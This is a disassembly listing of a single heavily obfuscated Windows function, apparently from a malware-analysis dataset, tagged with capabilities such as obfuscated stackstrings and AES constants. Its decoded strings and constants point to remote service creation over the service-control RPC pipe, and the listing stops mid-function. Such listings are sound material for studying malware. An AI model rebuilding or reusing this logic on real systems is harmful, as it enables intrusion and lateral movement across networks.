Function at 0x180036893
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Manually build aes constants
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0x8a31e414
pushf
not eax
add eax, 0xf0055d88
xor eax, 0xe35859af
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x9821de79
xor eax, 0x855daa65
rol eax, 0x45
popf
pushf
not eax
add eax, 0xbe952478
xor eax, 0xd5613c0c
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xd883d3ee
xor eax, 0xee946001
rol eax, 0x27
popf
cmp eax, 0x20
jne 0x1800368f6
popf
pop rax
jmp 0x180038724
cmp eax, 0
jne 0x180036905
popf
pop rax
jmp 0x180036af4
cmp eax, 3
jne 0x180036914
popf
pop rax
jmp 0x180036d67
cmp eax, 1
jne 0x180036923
popf
pop rax
jmp 0x180036c36
cmp eax, 0xd
jne 0x180036932
popf
pop rax
jmp 0x1800378d1
cmp eax, 0x1a
jne 0x180036941
popf
pop rax
jmp 0x180038400
cmp eax, 0xe
jne 0x180036950
popf
pop rax
jmp 0x180037999
cmp eax, 0xb
jne 0x18003695f
popf
pop rax
jmp 0x1800377c6
cmp eax, 0x19
jne 0x18003696e
popf
pop rax
jmp 0x18003836c
cmp eax, 8
jne 0x18003697d
popf
pop rax
jmp 0x18003728c
cmp eax, 0x1d
jne 0x18003698c
popf
pop rax
jmp 0x18003860c
cmp eax, 0x17
jne 0x18003699b
popf
pop rax
jmp 0x180038250
cmp eax, 0x1c
jne 0x1800369aa
popf
pop rax
jmp 0x180038577
cmp eax, 0x12
jne 0x1800369b9
popf
pop rax
jmp 0x180037e59
cmp eax, 0x18
jne 0x1800369c8
popf
pop rax
jmp 0x1800382e9
cmp eax, 0x11
jne 0x1800369d7
popf
pop rax
jmp 0x180037de6
cmp eax, 0x1b
jne 0x1800369e6
popf
pop rax
jmp 0x180038470
cmp eax, 0x21
jne 0x1800369f5
popf
pop rax
jmp 0x18003876c
cmp eax, 0xa
jne 0x180036a04
popf
pop rax
jmp 0x18003759d
cmp eax, 0x14
jne 0x180036a13
popf
pop rax
jmp 0x180037f72
cmp eax, 0xf
jne 0x180036a22
popf
pop rax
jmp 0x180037a43
cmp eax, 0x13
jne 0x180036a31
popf
pop rax
jmp 0x180037f15
cmp eax, 0x15
jne 0x180036a40
popf
pop rax
jmp 0x18003805e
cmp eax, 0x22
jne 0x180036a4f
popf
pop rax
jmp 0x1800387ad
cmp eax, 0x1e
jne 0x180036a5e
popf
pop rax
jmp 0x18003867c
cmp eax, 0xc
jne 0x180036a6d
popf
pop rax
jmp 0x18003784c
cmp eax, 7
jne 0x180036a7c
popf
pop rax
jmp 0x1800371dd
cmp eax, 5
jne 0x180036a8b
popf
pop rax
jmp 0x18003706e
cmp eax, 0x1f
jne 0x180036a9a
popf
pop rax
jmp 0x1800386c1
cmp eax, 0x10
jne 0x180036aa9
popf
pop rax
jmp 0x180037a86
cmp eax, 6
jne 0x180036ab8
popf
pop rax
jmp 0x18003711d
cmp eax, 9
jne 0x180036ac7
popf
pop rax
jmp 0x180037473
cmp eax, 4
jne 0x180036ad6
popf
pop rax
jmp 0x180036dfc
cmp eax, 0x16
jne 0x180036ae5
popf
pop rax
jmp 0x1800380f5
cmp eax, 2
jne 0x180036af4
popf
pop rax
jmp 0x180036cc9
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x24d0]
mov eax, 0x912fe9e3
pushf
not eax
add eax, 0xf6b52dac
xor eax, 0xb3d0e41d
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xe69c512c
xor eax, 0xe91c60f5
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xc1627eb3
xor eax, 0xcb84692c
rol eax, 0x24
popf
pushf
not eax
add eax, 0xff4fff8d
xor eax, 0xa3a287e6
rol eax, 0x19
popf
call fcn.18005644b
sub rsp, rax
mov r12, rcx
mov r15d, 0x12093fa8
pushf
not r15d
add r15d, 0xd964a1fa
xor r15d, 0xd54b6d46
rol r15d, 0x94
popf
pushf
not r15d
add r15d, 0xe1796a44
xor r15d, 0xf0084953
rol r15d, 0xc4
popf
mov r8d, r15d
lea rcx, [rbp + 0x10b0]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
jmp 0x180036bb2
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r13d, [r15 - 1]
mov r9d, eax
mov edx, r13d
lea r8, [0x1e23b9a4e]
pushf
sub r8, 0x623a1d4e
popf
lea rcx, [rbp + 0x10b0]
call fcn.1800575aa
or r14, 0xffffffffffffffff
lea rax, [rbp + 0x10b0]
mov rsi, r14
xor ebx, ebx
push rax
pushf
mov eax, 0xe314cce6
pushf
not eax
add eax, 0x8bfe8bcc
xor eax, 0xb4b5f7f7
rol eax, 0xce
popf
pushf
not eax
add eax, 0x893dcb3d
xor eax, 0xe4f87e2c
rol eax, 0x47
popf
pushf
not eax
add eax, 0xa51068b9
xor eax, 0xa47163ef
rol eax, 0xcf
popf
jmp 0x1800368e7
inc rsi
cmp byte [rax + rsi], bl
jne 0x180036c97
push rax
pushf
mov eax, 0x4b82ac6
pushf
not eax
add eax, 0x8d4495cf
xor eax, 0xd9f60384
rol eax, 0x44
popf
pushf
not eax
add eax, 0xf4bac402
xor eax, 0x900373d2
rol eax, 0x35
popf
pushf
not eax
add eax, 0x95915a3b
xor eax, 0xcd394fa6
rol eax, 0x70
popf
pushf
not eax
add eax, 0xac9d3564
xor eax, 0xb1a57a65
rol eax, 0xa8
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0x8eddef00
pushf
not eax
add eax, 0xa0e2fb17
xor eax, 0x87c14068
rol eax, 1
popf
pushf
not eax
add eax, 0xfca47be8
xor eax, 0xd11be6ea
rol eax, 0xf6
popf
jmp 0x1800368e7
mov edi, 0xa6935dce
pushf
not edi
add edi, 0xad639f67
xor edi, 0xd9b0156d
rol edi, 0xb8
popf
pushf
not edi
add edi, 0x909150f6
xor edi, 0xf41b4588
rol edi, 0x43
popf
pushf
not edi
add edi, 0xd1a11828
xor edi, 0xbb1ad1a2
rol edi, 0xac
popf
pushf
not edi
add edi, 0xdd06eb86
xor edi, 0xc50efd10
rol edi, 0xc6
popf
lea rcx, [rbp + 0x11b0]
mov r8, r15
xor edx, edx
push rdi
not edi
sub esi, edi
pop rdi
sub esi, 1
call sub.VCRUNTIME140.dll_memset
mov r9, r12
lea r8, [0x1dc9b0e15]
pushf
sub r8, 0x5c999105
popf
mov rdx, r13
lea rcx, [rbp + 0x11b0]
call fcn.1800575aa
lea rax, [rbp + 0x11b0]
inc r14
cmp byte [rax + r14], bl
jne 0x180036db6
push rax
pushf
mov eax, 0x50ad174d
pushf
not eax
add eax, 0xc17eb380
xor eax, 0xf469afbb
rol eax, 0xc1
popf
pushf
not eax
add eax, 0x8fca5560
xor eax, 0xf81a7612
rol eax, 0x87
popf
pushf
not eax
add eax, 0xca317202
xor eax, 0xa86543c2
rol eax, 0x5a
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0xb8eac65d
pushf
not eax
add eax, 0x8532b02d
xor eax, 0x9636809c
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x9203fd1c
xor eax, 0xe83a6ef2
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x95cbccb3
xor eax, 0xab48bff8
rol eax, 0x26
popf
jmp 0x1800368e7
mov dword [rsp + 0x40], WSAStartup
mov r13d, 0xe5ae61fe
pushf
not r13d
add r13d, 0xbbc61a63
xor r13d, 0xe466c30a
rol r13d, 0xb6
popf
pushf
not r13d
add r13d, 0xd99e21c6
xor r13d, 0xfe118527
rol r13d, 0xdc
popf
mov eax, dword [rsp + 0x40]
push rdi
not edi
sub r14d, edi
pop rdi
sub r14d, 1
xor eax, 0x33
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x40]
add al, dil
xor eax, 0x36
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x40]
add al, 2
xor eax, 0x37
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x40]
add al, 3
xor eax, 0x61
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x40]
add al, r13b
xor eax, 0x62
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x40]
add al, 5
xor eax, 0x62
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x40]
add al, 6
xor eax, 0x38
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x40]
add al, 7
xor eax, 0x31
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x40]
add al, 8
xor eax, 0x2d
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x40]
add al, 9
xor eax, 0x39
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x40]
add al, 0xa
xor eax, 0x38
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x40]
add al, 0xb
xor eax, 0x34
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x40]
add al, 0xc
xor eax, 0x34
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x40]
add al, 0xd
xor eax, 0x2d
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x40]
add al, 0xe
xor eax, 0x33
mov byte [rsp + 0x52], al
mov eax, dword [rsp + 0x40]
add al, 0xf
xor eax, 0x35
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0x40]
add al, 0x10
xor eax, 0x66
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x40]
add al, 0x11
xor eax, 0x31
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x40]
add al, 0x12
xor eax, 0x2d
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x40]
add al, 0x13
xor eax, 0x61
mov byte [rsp + 0x57], al
mov rdx, rbx
mov eax, dword [rsp + 0x40]
add al, 0x14
xor eax, 0x64
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x40]
add al, 0x15
xor eax, 0x33
mov byte [rsp + 0x59], al
mov eax, dword [rsp + 0x40]
add al, 0x16
xor eax, 0x32
mov byte [rsp + 0x5a], al
mov eax, dword [rsp + 0x40]
add al, 0x17
xor eax, 0x2d
mov byte [rsp + 0x5b], al
mov eax, dword [rsp + 0x40]
add al, 0x18
xor eax, 0x39
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x40]
add al, 0x19
xor eax, 0x38
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x40]
add al, 0x1a
xor eax, 0x66
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x40]
add al, 0x1b
xor eax, 0x30
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x40]
add al, 0x1c
xor eax, 0x33
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x40]
add al, 0x1d
xor eax, 0x38
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x40]
add al, 0x1e
xor eax, 0x30
mov byte [rsp + 0x62], al
mov eax, dword [rsp + 0x40]
add al, 0x1f
xor eax, 0x30
mov byte [rsp + 0x63], al
mov eax, dword [rsp + 0x40]
add al, 0x20
xor eax, 0x31
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x40]
add al, 0x21
xor eax, 0x30
mov byte [rsp + 0x65], al
mov eax, dword [rsp + 0x40]
add al, 0x22
xor eax, 0x30
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x40]
add al, 0x23
xor eax, 0x33
mov byte [rsp + 0x67], al
xor eax, eax
mov byte [rsp + 0x68], al
mov al, byte [rsp + 0x44]
push rax
pushf
mov eax, 0xdca1057a
pushf
not eax
add eax, 0xb684f9e2
xor eax, 0xc770fb74
rol eax, 0x93
popf
pushf
not eax
add eax, 0xf1f5204f
xor eax, 0xe4f9103a
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xf4322567
xor eax, 0xacbb0c2b
rol eax, 0xa8
popf
jmp 0x1800368e7
movsx eax, byte [rsp + rdx + 0x44]
mov ecx, dword [rsp + 0x40]
add cl, dl
xor ecx, eax
mov byte [rsp + rdx + 0x44], cl
push rdi
not rdi
sub rdx, rdi
pop rdi
sub rdx, 1
cmp rdx, 0x24
jb 0x1800370c4
push rax
pushf
mov eax, 0xa52ccd15
pushf
not eax
add eax, 0xae0ad3d7
xor eax, 0xe84d9855
rol eax, 0x77
popf
pushf
not eax
add eax, 0xf5d2668c
xor eax, 0xab621fbc
rol eax, 0x79
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0x42f26ee5
pushf
not eax
add eax, 0xd6270ace
xor eax, 0x85d5eaf9
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xc736b094
xor eax, 0xb1d6d610
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x9fe65b8c
xor eax, 0xc823617d
rol eax, 0x17
popf
pushf
not eax
add eax, 0xd9492f50
xor eax, 0xfd6b6b4f
rol eax, 0x9c
popf
jmp 0x1800368e7
mov byte [rsp + 0x68], bl
mov rdx, rbx
mov dword [rsp + 0x6c], 0x67
mov eax, dword [rsp + 0x6c]
xor eax, 0x6e
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x6c]
add al, dil
xor eax, 0x74
mov byte [rsp + 0x71], al
mov eax, dword [rsp + 0x6c]
add al, 2
xor eax, 0x73
mov byte [rsp + 0x72], al
mov eax, dword [rsp + 0x6c]
add al, 3
xor eax, 0x76
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x6c]
add al, r13b
xor eax, 0x63
mov byte [rsp + 0x74], al
mov eax, dword [rsp + 0x6c]
add al, 5
xor eax, 0x73
mov byte [rsp + 0x75], al
xor eax, eax
mov byte [rsp + 0x76], al
mov al, byte [rsp + 0x70]
push rax
pushf
mov eax, 0xd16156f7
pushf
not eax
add eax, 0xe7e35e36
xor eax, 0x9bc955a7
rol eax, 0x51
popf
pushf
not eax
add eax, 0x9a4f35ad
xor eax, 0xb28f0c01
rol eax, 0xde
popf
pushf
not eax
add eax, 0x9781b404
xor eax, 0xc5a1a676
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xbb03a84b
xor eax, 0xa97398f8
rol eax, 0xc
popf
jmp 0x1800368e7
movsx eax, byte [rsp + rdx + 0x70]
mov ecx, dword [rsp + 0x6c]
add cl, dl
xor ecx, eax
mov byte [rsp + rdx + 0x70], cl
push rdi
not rdi
sub rdx, rdi
pop rdi
sub rdx, 1
cmp rdx, 6
jb 0x180037233
push rax
pushf
mov eax, 0x54aaa8ef
pushf
not eax
add eax, 0xe367b63f
xor eax, 0xa9490c9e
rol eax, 0x51
popf
pushf
not eax
add eax, 0x8e2b86ac
xor eax, 0x8a8926c3
rol eax, 0x97
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0xccf51829
pushf
not eax
add eax, 0xa5a23aca
xor eax, 0xb27d0940
rol eax, 0x94
popf
pushf
not eax
add eax, 0xe9240a3f
xor eax, 0x942855c9
rol eax, 4
popf
pushf
not eax
add eax, 0x827875ac
xor eax, 0xa8a98e8c
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xdd47ff83
xor eax, 0xc980bb14
rol eax, 0x34
popf
jmp 0x1800368e7
xor edx, edx
mov byte [rsp + 0x76], bl
mov r8d, 0xbf77c105
pushf
not r8d
add r8d, 0xfb9fc97f
xor r8d, 0xc5e5952e
rol r8d, 0xef
popf
pushf
not r8d
add r8d, 0xfb8621c6
xor r8d, 0xb321e2df
rol r8d, 0x45
popf
pushf
not r8d
add r8d, 0x9912c8f7
xor r8d, 0xfe9068a8
rol r8d, 0x80
popf
pushf
not r8d
add r8d, 0xf68522b4
xor r8d, 0x8d7ac268
rol r8d, 0xd0
popf
lea rcx, [rbp + 0x12b0]
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x70]
mov edx, 0xea9bc16e
pushf
not edx
add edx, 0xa44849b5
xor edx, 0x93a05d24
rol edx, 0xe9
popf
pushf
not edx
add edx, 0x9598d30a
xor edx, 0x9a8e48a4
rol edx, 0x31
popf
pushf
not edx
add edx, 0x8e166f40
xor edx, 0xfe72ac7f
rol edx, 0x29
popf
lea r8, [0x1e9d643d9]
pushf
sub r8, 0x69d4c6e9
popf
lea rcx, [rbp + 0x12b0]
call fcn.1800575aa
mov qword [rsp + 0x30], rbx
lea rcx, [rbp + 0x12b0]
mov dword [rsp + 0x28], ebx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x69880ab0
pushf
not edx
add edx, 0x86d0574e
xor edx, 0xe42fa91d
rol edx, 0x87
popf
pushf
not edx
add edx, 0xddb8653a
xor edx, 0x8a9640fb
rol edx, 0xd6
popf
pushf
not edx
add edx, 0xeaf9bcd3
xor edx, 0xc8fe9e9d
rol edx, 0xbb
popf
pushf
not edx
add edx, 0xdde4b33f
xor edx, 0xbd5b3f74
rol edx, 0x6c
popf
jmp 0x1800373e7
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x180037440
push rax
pushf
mov eax, 0x87152e1b
pushf
not eax
add eax, 0xa3559075
xor eax, 0xb912e1b9
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xae3b2a8c
xor eax, 0x9610ec0a
rol eax, 0xff
popf
pushf
not eax
add eax, 0xb20e643f
xor eax, 0x844aea3d
rol eax, 0xf3
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0xd0ae500
pushf
not eax
add eax, 0xdd1a4cea
xor eax, 0xf5e5fa94
rol eax, 0x41
popf
pushf
not eax
add eax, 0xdea53916
xor eax, 0xd6cffe1b
rol eax, 0x27
popf
jmp 0x1800368e7
xor edx, edx
lea rcx, [rbp + 0x14bc]
mov r8d, 0x1c91226b
pushf
not r8d
add r8d, 0xd6b0c8fe
xor r8d, 0xb91dba9e
rol r8d, 0xf3
popf
pushf
not r8d
add r8d, 0xf26c5e1f
xor r8d, 0xaef623c4
rol r8d, 0xe9
popf
pushf
not r8d
add r8d, 0xe6072aca
xor r8d, 0xce2712d8
rol r8d, 0x49
popf
pushf
not r8d
add r8d, 0xf83a23d5
xor r8d, 0xaf3f1356
rol r8d, 0xf0
popf
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x44]
mov qword [rbp + 0x14b0], r15
lea rcx, [rbp + 0x14b0]
mov dword [rbp + 0x14b8], edi
call fcn.180026587
test eax, eax
jne 0x18003756a
push rax
pushf
mov eax, 0x7aeeaa71
pushf
not eax
add eax, 0xb522a2a9
xor eax, 0xe54a325e
rol eax, 0x58
popf
pushf
not eax
add eax, 0x9b074501
xor eax, 0xe2392237
rol eax, 0x26
popf
pushf
not eax
add eax, 0xad5ae615
xor eax, 0x82c5a4df
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xaffcbc72
xor eax, 0xb4c19166
rol eax, 0x19
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0xb7a46d0e
pushf
not eax
add eax, 0xce1fce08
xor eax, 0xd9700e6b
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xfde4f496
xor eax, 0xd846d538
rol eax, 0x5a
popf
jmp 0x1800368e7
mov r8d, 0x1c5697a3
pushf
not r8d
add r8d, 0xc1798a43
xor r8d, 0x88e95c31
rol r8d, 0x9d
popf
pushf
not r8d
add r8d, 0xafea6f4f
xor r8d, 0x9080b93d
rol r8d, 0xe4
popf
pushf
not r8d
add r8d, 0xcb52ec77
xor r8d, 0xabe2ef34
rol r8d, 5
popf
pushf
not r8d
add r8d, 0xf97544de
xor r8d, 0x83f0696c
rol r8d, 0xfa
popf
lea rdx, [rbp + 0x14b0]
lea rcx, [rbp + 0x90]
call sub.VCRUNTIME140.dll_memcpy
mov r15d, 0x3b1f1a6e
pushf
not r15d
add r15d, 0x8efa48b4
xor r15d, 0xb30f140e
rol r15d, 0x1f
popf
pushf
not r15d
add r15d, 0x8757b3f5
xor r15d, 0x96ad96cf
rol r15d, 0x55
popf
lea rcx, [rbp + 0xa4]
mov r8d, r15d
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8d, r15d
mov dword [rbp + 0x8a4], ebx
xor edx, edx
lea rcx, [rbp + 0x8a8]
call sub.VCRUNTIME140.dll_memset
mov r8d, r13d
mov dword [rbp + 0x10a8], ebx
lea rdx, [rbp + 0x2518]
mov dword [rbp + 0x9c], ebx
lea rcx, [rbp + 0x90]
mov dword [rbp + 0xa0], edi
mov dword [rbp + 0x2518], ebx
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp + 0x2520], ebx
lea rdx, [rbp + 0x2520]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp + 0x2528], 0xf003f
lea rdx, [rbp + 0x2528]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov edx, 0xcedd2abe
pushf
not edx
add edx, 0xef9eae43
xor edx, 0xa56c6e63
rol edx, 0xe8
popf
pushf
not edx
add edx, 0x99f37cd9
xor edx, 0xec05a353
rol edx, 0x57
popf
lea rcx, [rbp + 0x90]
call fcn.18002815d
test eax, eax
jne 0x18003776d
push rax
pushf
mov eax, 0x56ac6c9
pushf
not eax
add eax, 0xf0a7c186
xor eax, 0xab8cd354
rol eax, 0x45
popf
pushf
not eax
add eax, 0xa59b6b10
xor eax, 0xefd85d0a
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xf173fd97
xor eax, 0xde7189fe
rol eax, 0x85
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0xc5cb26ba
pushf
not eax
add eax, 0xcfa45e65
xor eax, 0xa8961cf7
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xa89eb072
xor eax, 0x9e0ed8b2
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xd33f3a24
xor eax, 0xc9190fd4
rol eax, 0xae
popf
pushf
not eax
add eax, 0xc15ea3f1
xor eax, 0xea9fee3d
rol eax, 9
popf
jmp 0x1800368e7
cmp dword [rbp + 0x10a8], 0x18
jne 0x180037819
push rax
pushf
mov eax, 0xa9243cd6
pushf
not eax
add eax, 0xa112818e
xor eax, 0xadd96920
rol eax, 0x95
popf
pushf
not eax
add eax, 0xa9497fb2
xor eax, 0xae3601d8
rol eax, 0x82
popf
pushf
not eax
add eax, 0xf32a5fb5
xor eax, 0x97897b63
rol eax, 0x49
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0x9aa926b5
pushf
not eax
add eax, 0xf74db33b
xor eax, 0x92de46b3
rol eax, 0x72
popf
pushf
not eax
add eax, 0xed4e657f
xor eax, 0xc4f72b93
rol eax, 0xce
popf
jmp 0x1800368e7
cmp dword [rbp + 0x8bc], ebx
je 0x18003788b
push rax
pushf
mov eax, 0x1f83c0e
pushf
not eax
add eax, 0xdddc7e83
xor eax, 0xd6f4579b
rol eax, 0x20
popf
pushf
not eax
add eax, 0xc67a47f2
xor eax, 0xb96a3142
rol eax, 0xba
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0x4dd115cf
pushf
not eax
add eax, 0xf9ba0b72
xor eax, 0x83c0db29
rol eax, 0x28
popf
pushf
not eax
add eax, 0xacd026c6
xor eax, 0xad4ffaaf
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xaa7cea3d
xor eax, 0x87de0029
rol eax, 0xba
popf
jmp 0x1800368e7
mov byte [rsp + 0x78], 0x5c
mov byte [rsp + 0x79], 0x7d
mov byte [rsp + 0x7a], WSAStartup
mov byte [rsp + 0x7b], 0x7b
mov byte [rsp + 0x7c], 0x60
mov byte [rsp + 0x7d], 0x50
mov byte [rsp + 0x7e], 0x5a
mov byte [rsp + 0x7f], 0x6e
mov byte [rbp - 0x80], 0x7b
mov byte [rbp - 0x7f], 0x6e
mov byte [rbp - 0x7e], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x7d], WSAStartup
mov byte [rbp - 0x7c], 0x7f
mov byte [rbp - 0x7b], 0x2d
mov byte [rbp - 0x7a], WSAStartup
mov byte [rbp - 0x79], 0x7f
mov byte [rbp - 0x78], 0x7f
mov byte [rbp - 0x77], 0x7c
mov byte [rbp - 0x76], 0x7f
mov byte [rbp - 0x75], 0x47
mov byte [rbp - 0x74], 0x2d
mov byte [rbp - 0x73], 0x32
mov byte [rbp - 0x72], 0x82
mov byte [rbp - 0x71], 0x17
mov byte [rbp - 0x70], bl
mov al, byte [rsp + 0x78]
push rax
pushf
mov eax, 0x2c8913d5
pushf
not eax
add eax, 0xf00c5304
xor eax, 0xf26a96a2
rol eax, 0x53
popf
pushf
not eax
add eax, 0xa8cbcb62
xor eax, 0xb58beb84
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xd0b9acc5
xor eax, 0x825774a3
rol eax, 0x69
popf
pushf
not eax
add eax, 0xdd05cd44
xor eax, 0xbb66d82f
rol eax, 0x48
popf
jmp 0x1800368e7
movsx ecx, byte [rsp + rbx + 0x78]
sub ecx, 0xd
mov byte [rsp + rbx + 0x78], cl
push rdi
not rdi
sub rbx, rdi
pop rdi
sub rbx, 1
cmp rbx, 0x18
jb 0x1800379ea
push rax
pushf
mov eax, 0x54078425
pushf
not eax
add eax, 0xe1f96772
xor eax, 0xe16a6399
rol eax, 0xb
popf
pushf
not eax
add eax, 0xc4a5b535
xor eax, 0xe89ee9d0
rol eax, 0x33
popf
jmp 0x1800368e7
push rax
pushf
mov eax, 0x7a7d33f2
pushf
not eax
add eax, 0xb0049acd
xor eax, 0xdaf6171c
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xa4ea1131
xor eax, 0x9729cd06
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xfc3e4f18
xor eax, 0xc8ab2586
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xc3cbe8f5
xor eax, 0xb94109ad
rol eax, 0x43
popf
jmp 0x1800368e7
mov edx, dword [rbp + 0x8bc]
lea rcx, [rsp + 0x78]
jmp 0x1800386c1
movups xmm0, xmmword [rbp + 0x8a8]
mov eax, dword [rbp + 0x8b8]
lea rcx, [rbp + 0xa4]
mov r8, r15
mov dword [rbp + 0x88], eax
xor edx, edx
movups xmmword [rbp + 0x78], xmm0
call sub.VCRUNTIME140.dll_memset
mov r8, r15
mov dword [rbp + 0x8a4], ebx
xor edx, edx
lea rcx, [rbp + 0x8a8]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0xf21dab5e
pushf
not r8d
add r8d, 0x970ae977
xor r8d, 0xcfcb1775
rol r8d, 0xa1
popf
pushf
not r8d
add r8d, 0xf1e9a278
xor r8d, 0xe77219d6
rol r8d, 0x63
popf
pushf
not r8d
add r8d, 0xf5c8f824
xor r8d, 0xc08c8224
rol r8d, 0xd1
popf
pushf
not r8d
add r8d, 0x85fd5e97
xor r8d, 0xe23bc111
rol r8d, 0x48
popf
mov dword [rbp + 0x10a8], ebx
lea rdx, [rbp + 0x78]
mov dword [rbp + 0x9c], ebx
lea rcx, [rbp + 0x90]
mov dword [rbp + 0xa0], edi
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp - 0x40], esi
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp - 0x38], ebx
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp - 0x30], esi
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, esi
lea rdx, [rbp + 0x10b0]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp - 0x28], ebx
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp - 0x20], 0xf01ff
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp - 0x18], 0x10
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp - 0x10], 3
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp - 8], ebx
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp], r14d
lea rdx, [rbp]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp + 8], ebx
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp + 0x10], r14d
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r14d
lea rdx, [rbp + 0x11b0]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp + 0x18], ebx
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp + 0x20], ebx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp + 0x28], ebx
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp + 0x30], ebx
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp + 0x38], ebx
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp + 0x40], ebx
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x90]
call fcn.18004ad9f
mov r8d, r13d
mov dword [rbp + 0x48], ebx
lea rdx, [rbp + 0x48]
